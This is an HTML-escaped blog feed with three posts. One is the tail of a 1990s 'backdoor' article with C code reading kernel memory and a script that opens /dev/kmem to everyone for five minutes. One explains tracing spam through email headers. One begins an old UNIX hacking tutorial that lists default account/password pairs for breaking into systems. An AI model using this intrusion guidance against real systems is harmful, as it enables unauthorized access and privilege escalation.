/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(!strcmp(&quot;_u&quot;,ldgetname(object,&amp;amp;symbol))){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stdout,&quot;User page is at 0x%8.8x\n&quot;,symbol.n_value);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ldclose(object);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return(symbol.n_value);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr,&quot;Cannot read symbol table in /unix.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(60);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take&lt;br /&gt;care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a&lt;br /&gt;discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]: &lt;br /&gt;&lt;br /&gt;chmod 666 /dev/kmem&lt;br /&gt;sleep 300&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Nap for 5 minutes&lt;br /&gt;chmod 600 /dev/kmem&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Or whatever it was before&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From The Infinity Concept Issue II</description><link>http://it-guide888.blogspot.com/2016/12/backdoor.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-9082374273289594149</guid><pubDate>Sat, 24 Dec 2016 07:19:00 +0000</pubDate><atom:updated>2016-12-23T23:19:01.776-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Online Business Tips</category><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>Backtracking EMAIL Messages  </title><description>Backtracking EMAIL Messages&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Tracking email back to its source: Twisted Evil &lt;br /&gt;cause i hate spammers... Evil or Very Mad &lt;br /&gt;&lt;br /&gt;Ask most people how they determine who sent them an email message and the response is almost universally, &quot;By the From line.&quot; Unfortunately this symptomatic of the current confusion among internet users as to where particular messages come from and who is spreading spam and viruses. The &quot;From&quot; header is little more than a courtesy to the person receiving the message. People spreading spam and viruses are rarely courteous. In short, if there is any question about where a particular email message came from the safe bet is to assume the &quot;From&quot; header is forged. &lt;br /&gt;&lt;br /&gt;So how do you determine where a message actually came from? You have to understand how email messages are put together in order to backtrack an email message. SMTP is a text based protocol for transferring messages across the internet. A series of headers are placed in front of the data portion of the message. By examining the headers you can usually backtrack a message to the source network, sometimes the source host. A more detailed essay on reading email headers can be found . &lt;br /&gt;&lt;br /&gt;If you are using Outlook or Outlook Express you can view the headers by right clicking on the message and selecting properties or options. &lt;br /&gt;&lt;br /&gt;Below are listed the headers of an actual spam message I received. I&#39;ve changed my email address and the name of my server for obvious reasons. I&#39;ve also double spaced the headers to make them more readable. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Return-Path: &amp;lt;s359dyxtt@yahoo.com&amp;gt; &lt;br /&gt;&lt;br /&gt;X-Original-To: davar@example.com &lt;br /&gt;&lt;br /&gt;Delivered-To: davar@example.com &lt;br /&gt;&lt;br /&gt;Received: from 12-218-172-108.client.mchsi.com (12-218-172-108.client.mchsi.com [12.218.172.108]) &lt;br /&gt;by mailhost.example.com (Postfix) with SMTP id 1F9B8511C7 &lt;br /&gt;for &amp;lt;davar@example.com&amp;gt;; Sun, 16 Nov 2003 09:50:37 -0800 (PST) &lt;br /&gt;&lt;br /&gt;Received: from (HELO 0udjou) [193.12.169.0] by 12-218-172-108.client.mchsi.com with ESMTP id &amp;lt;536806-74276&amp;gt;; Sun, 16 Nov 2003 19:42:31 +0200 &lt;br /&gt;&lt;br /&gt;Message-ID: &amp;lt;n5-l067n7z$46-z$-n@eo2.32574&amp;gt; &lt;br /&gt;&lt;br /&gt;From: &quot;Maricela Paulson&quot; &amp;lt;s359dyxtt@yahoo.com&amp;gt; &lt;br /&gt;&lt;br /&gt;Reply-To: &quot;Maricela Paulson&quot; &amp;lt;s359dyxtt@yahoo.com&amp;gt; &lt;br /&gt;&lt;br /&gt;To: davar@example.com &lt;br /&gt;&lt;br /&gt;Subject: STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...isha &lt;br /&gt;&lt;br /&gt;Date: Sun, 16 Nov 2003 19:42:31 +0200 &lt;br /&gt;&lt;br /&gt;X-Mailer: Internet Mail Service (5.5.2650.21) &lt;br /&gt;&lt;br /&gt;X-Priority: 3 &lt;br /&gt;&lt;br /&gt;MIME-Version: 1.0 &lt;br /&gt;&lt;br /&gt;Content-Type: multipart/alternative; boundary=&quot;MIMEStream=_0+211404_90873633350646_4032088448&quot; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;According to the From header this message is from Maricela Paulson at s359dyxxt@yahoo.com. I could just fire off a message to abuse@yahoo.com, but that would be waste of time. This message didn&#39;t come from yahoo&#39;s email service. &lt;br /&gt;&lt;br /&gt;The header most likely to be useful in determining the actual source of an email message is the Received header. According to the top-most Received header this message was received from the host 12-218-172-108.client.mchsi.com with the ip address of 21.218.172.108 by my server mailhost.example.com. An important item to consider is at what point in the chain does the email system become untrusted? I consider anything beyond my own email server to be an unreliable source of information. Because this header was generated by my email server it is reasonable for me to accept it at face value. &lt;br /&gt;&lt;br /&gt;The next Received header (which is chronologically the first) shows the remote email server accepting the message from the host 0udjou with the ip 193.12.169.0. Those of you who know anything about IP will realize that that is not a valid host IP address. In addition, any hostname that ends in client.mchsi.com is unlikely to be an authorized email server. This has every sign of being a cracked client system. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here&#39;s is where we start digging. By default Windows is somewhat lacking in network diagnostic tools; however, you can use the tools at to do your own checking. &lt;br /&gt;&lt;br /&gt;davar@nqh9k:[/home/davar] $whois 12.218.172.108 &lt;br /&gt;&lt;br /&gt;AT&amp;amp;T WorldNet Services ATT (NET-12-0-0-0-1) &lt;br /&gt;12.0.0.0 - 12.255.255.255 &lt;br /&gt;Mediacom Communications Corp MEDIACOMCC-12-218-168-0-FLANDREAU-MN (NET-12-218-168-0-1) &lt;br /&gt;12.218.168.0 - 12.218.175.255 &lt;br /&gt;&lt;br /&gt;# ARIN WHOIS database, last updated 2003-12-31 19:15 &lt;br /&gt;# Enter ? for additional hints on searching ARIN&#39;s WHOIS database. &lt;br /&gt;&lt;br /&gt;I can also verify the hostname of the remote server by using nslookup, although in this particular instance, my email server has already provided both the IP address and the hostname. &lt;br /&gt;&lt;br /&gt;davar@nqh9k:[/home/davar] $nslookup 12.218.172.108 &lt;br /&gt;&lt;br /&gt;Server: localhost &lt;br /&gt;Address: 127.0.0.1 &lt;br /&gt;&lt;br /&gt;Name: 12-218-172-108.client.mchsi.com &lt;br /&gt;Address: 12.218.172.108 &lt;br /&gt;&lt;br /&gt;Ok, whois shows that Mediacom Communications owns that netblock and nslookup confirms the address to hostname mapping of the remote server,12-218-172-108.client.mchsi.com. If I preface a www in front of the domain name portion and plug that into my web browser, http://www.mchsi.com, I get Mediacom&#39;s web site. &lt;br /&gt;&lt;br /&gt;There are few things more embarrassing to me than firing off an angry message to someone who is supposedly responsible for a problem, and being wrong. By double checking who owns the remote host&#39;s IP address using two different tools (whois and nslookup) I minimize the chance of making myself look like an idiot. &lt;br /&gt;&lt;br /&gt;A quick glance at the web site and it appears they are an ISP. Now if I copy the entire message including the headers into a new email message and send it to abuse@mchsi.com with a short message explaining the situation, they may do something about it. &lt;br /&gt;&lt;br /&gt;But what about Maricela Paulson? There really is no way to determine who sent a message, the best you can hope for is to find out what host sent it. Even in the case of a PGP signed messages there is no guarantee that one particular person actually pressed the send button. Obviously determining who the actual sender of an email message is much more involved than reading the From header. Hopefully this example may be of some use to other forum regulars.</description><link>http://it-guide888.blogspot.com/2016/12/backtracking-email-messages.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-6889813020475464571</guid><pubDate>Fri, 23 Dec 2016 07:16:00 +0000</pubDate><atom:updated>2016-12-22T23:16:13.958-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>A Hacking Tutorial</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;----------------------&lt;br /&gt;o Intent of this file:&lt;br /&gt;----------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This phile is geared as an UNIX tutorial at first, to let you get more&lt;br /&gt;familiar with the operating system.&amp;nbsp; UNIX is just an operating system, as&lt;br /&gt;is MS-DOS, AppleDOS, AmigaDOS, and others.&amp;nbsp; UNIX happens to be a multi-user-&lt;br /&gt;multi-tasking system, thus bringing a need for security not found on MSDOS,&lt;br /&gt;AppleDOS, etc.&amp;nbsp; This phile will hopefully teach the beginners who do not have&lt;br /&gt;a clue about how to use UNIX a good start, and may hopefully teach old pros&lt;br /&gt;something they didn&#39;t know before.&amp;nbsp; This file deals with UNIX SYSTEM V and&lt;br /&gt;its variants.&amp;nbsp; When I talk about unix, its usually about SYSTEM V (rel 3.2).&lt;br /&gt;&lt;br /&gt;Where Can I be found?&amp;nbsp; I have no Idea.&amp;nbsp; The Boards today are going Up&#39;n&#39;Down&lt;br /&gt;so fast, 3 days after you read this file, if I put a BBS in it where you could&lt;br /&gt;reach me, it may be down!&amp;nbsp; Just look for me.&lt;br /&gt;&lt;br /&gt;I can be reached on DarkWood Castle [If it goes back up], but that board&lt;br /&gt;is hard to get access on, but I decided to mention it anyway.&lt;br /&gt;&lt;br /&gt;I *COULD* Have been reached on jolnet, but......&lt;br /&gt;&lt;br /&gt;This file may have some bad spelling, etc, or discrepencies since it was&lt;br /&gt;spread out over a long time of writing, because of school, work, Girl friend,&lt;br /&gt;etc.&amp;nbsp; Please, no flames.&amp;nbsp; If you don&#39;t like this file, don&#39;t keep it.&lt;br /&gt;&lt;br /&gt;This is distributed under PHAZE Inc.&amp;nbsp; Here are the members (and ex ones)&lt;br /&gt;The Dark Pawn&lt;br /&gt;The Data Wizard&lt;br /&gt;Sir Hackalot (Me)&lt;br /&gt;Taxi (ummm.. Busted)&lt;br /&gt;Lancia (Busted)&lt;br /&gt;The British Knight (Busted)&lt;br /&gt;The Living Pharoah (Busted)&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;o Dedication:&lt;br /&gt;-------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This phile is dedicated to the members of LOD that were raided in&lt;br /&gt;Atlanta.&amp;nbsp; The members that got busted were very good hackers, especially&lt;br /&gt;The Prophet. Good luck to you guys, and I hope you show up again somewhere.&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;o A little History, etc:&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UNIX, of course, was invented By AT&amp;amp;T in the 60&#39;s somewhere, to be&lt;br /&gt;&quot;a programmer&#39;s operating system.&quot;&amp;nbsp; While that goal was probably not reached&lt;br /&gt;when they first invented UNIX, it seems that now, UNIX is a programmer&#39;s OS.&lt;br /&gt;UNIX, as I have said before, is a multi-tasking/multi-user OS.&amp;nbsp; It is also&lt;br /&gt;written in C, or at least large parts of it are, thus making it a portable&lt;br /&gt;operating system.&amp;nbsp; We know that MSDOS corresponds to IBM/clone machines,&lt;br /&gt;right?&amp;nbsp; Well, this is not the case with UNIX.&amp;nbsp; We do not associate it with&lt;br /&gt;any one computer since it has been adapted for many, and there are many&lt;br /&gt;UNIX variants [that is, UNIX modified by a vendor, or such].&amp;nbsp; Some AT&amp;amp;T&lt;br /&gt;computers run it, and also some run MSDOS [AT&amp;amp;T 6300].&amp;nbsp; The SUN workstations&lt;br /&gt;run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version&lt;br /&gt;of UNIX.&amp;nbsp; Remember, no matter what the name of the operating system is [BSD,&lt;br /&gt;UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the&lt;br /&gt;commands the operating system uses.&amp;nbsp; Some variants may have features others&lt;br /&gt;do not, but they are basically similar in that they have a lot of the same&lt;br /&gt;commands/datafiles.&amp;nbsp; When someone tries to tell you that UNIX goes along with&lt;br /&gt;a certain type of computer, they may be right, but remember, some computers&lt;br /&gt;have more than one Operating system.&amp;nbsp; For instance, one person may tell you&lt;br /&gt;that UNIX is to a VAX as MSDOS is to IBM/clones.&amp;nbsp; That is untrue, and the&lt;br /&gt;only reason I stated that, was because I have seen many messages with info&lt;br /&gt;/comparisons in it like that, which confuse users when they see a VAX running&lt;br /&gt;VMS.&lt;br /&gt;____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;o Identifying a Unix/Logging in&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; From now on, I will be referring to all the UNIX variants/etc as&lt;br /&gt;UNIX, so when I say something about UNIX, it generally means all the variants&lt;br /&gt;(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless&lt;br /&gt;I state a variant in particular.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Okay.&amp;nbsp; Now its time for me to tell you how a unix USUALLY greets you.&lt;br /&gt;First, when you call up a UNIX, or connect to one however you do, you will&lt;br /&gt;usually get this prompt:&lt;br /&gt;&lt;br /&gt;login:&lt;br /&gt;&lt;br /&gt;Ok.&amp;nbsp; Thats all fine and dandy.&amp;nbsp; That means that this is PROBABLY a Unix,&lt;br /&gt;although there are BBS&#39;s that can mimic the login procedure of an OS&lt;br /&gt;(Operating System), thus making some people believe its a Unix. [Hah!].&lt;br /&gt;Some Unixes will tell you what they are or give you a message before a&lt;br /&gt;login:&amp;nbsp; prompt, as such:&lt;br /&gt;&lt;br /&gt;Welcome to SHUnix.&amp;nbsp; Please log in.&lt;br /&gt;&lt;br /&gt;login:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Or something like that.&amp;nbsp; Public access Unixes [like Public BBSs] will&lt;br /&gt;tell you how to logon if you are a new users.&amp;nbsp; Unfortunatly, this phile is&lt;br /&gt;not about public access Unixes, but I will talk about them briefly later, as&lt;br /&gt;a UUCP/UseNet/Bitnet address for mail.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK.&amp;nbsp; You&#39;ve gotten to the login prompt!&amp;nbsp; Now, what you need to do&lt;br /&gt;here is enter in a valid account.&amp;nbsp; An Account usually consists of 8 characters&lt;br /&gt;or less.&amp;nbsp; After you enter in an account, you will probably get a password&lt;br /&gt;prompt of some sort.&amp;nbsp; The prompts may vary, as the source code to the login&lt;br /&gt;program is usually supplied with UNIX, or is readily available for free.&lt;br /&gt;Well, The easiest thing I can say to do to login is basically this:&lt;br /&gt;Get an account, or try the defaults.&amp;nbsp; The defaults are ones that came with&lt;br /&gt;the operating system, in standard form.&amp;nbsp; The list of some of the Defaults&lt;br /&gt;are as follows:&lt;br /&gt;&lt;br /&gt;ACCOUNT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PASSWORD&lt;br /&gt;-------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------&lt;br /&gt;root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Rarely open to hackers&lt;br /&gt;sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys / system / bin&lt;br /&gt;bin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys / bin&lt;br /&gt;mountfsys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mountfsys&lt;br /&gt;adm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; adm&lt;br /&gt;uucp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; uucp&lt;br /&gt;nuucp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; anon&lt;br /&gt;anon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; anon&lt;br /&gt;user&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; user&lt;br /&gt;games&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; games&lt;br /&gt;install&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; install&lt;br /&gt;reboot&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * See Below&lt;br /&gt;demo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; demo&lt;br /&gt;umountfsys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; umountfsys&lt;br /&gt;sync&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sync&lt;br /&gt;admin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&lt;br /&gt;guest&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; guest&lt;br /&gt;daemon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; daemon&lt;br /&gt;&lt;br /&gt;The accounts root, mountfsys, umountfsys, install, and sometimes sync are&lt;br /&gt;root level accounts, meaning they have sysop power, or total power.&amp;nbsp; Other&lt;br /&gt;logins are just &quot;user level&quot; logins meaning they only have power over what&lt;br /&gt;files/processes they own.&amp;nbsp; I&#39;ll get into that later, in the file permissions&lt;br /&gt;section.&amp;nbsp; The REBOOT login is what as known as a command login, which just&lt;br /&gt;simply doesn&#39;t let you into the operating system, but executes a program&lt;br /&gt;assigned to it.&amp;nbsp; It usually does just what it says, reboot the system.&amp;nbsp; It&lt;br /&gt;may not be standard on all UNIX systems, but I have seen it on&amp;nbsp; UNISYS unixes&lt;br /&gt;and also HP/UX systems [Hewlett Packard Unixes].&amp;nbsp; So far, these accounts have&lt;br /&gt;not been passworded [reboot], which is real stupid, if you ask me.&lt;br /&gt;&lt;br /&gt;COMMAND LOGINS:&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;There are &quot;command logins&quot;, which, like reboot, execute a command then log&lt;br /&gt;you off instead of letting you use the command interpreter. BSD is notorious&lt;br /&gt;for having these, and concequently, so does MIT&#39;s computers. Here are some:&lt;br /&gt;&lt;br /&gt;rwho - show who is online&lt;br /&gt;finger - same&lt;br /&gt;who - same&lt;br /&gt;&lt;br /&gt;These are the most useful, since they will give the account names that are&lt;br /&gt;online, thus showing you several accounts that actually exist.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Errors:&lt;br /&gt;-------&lt;br /&gt;&lt;br /&gt;When you get an invalid Account name / invalid password, or both, you will&lt;br /&gt;get some kind of error.&amp;nbsp; Usually it is the &quot;login incorrect&quot; message.&amp;nbsp; When&lt;br /&gt;the computer tells you that, you have done something wrong by either enterring&lt;br 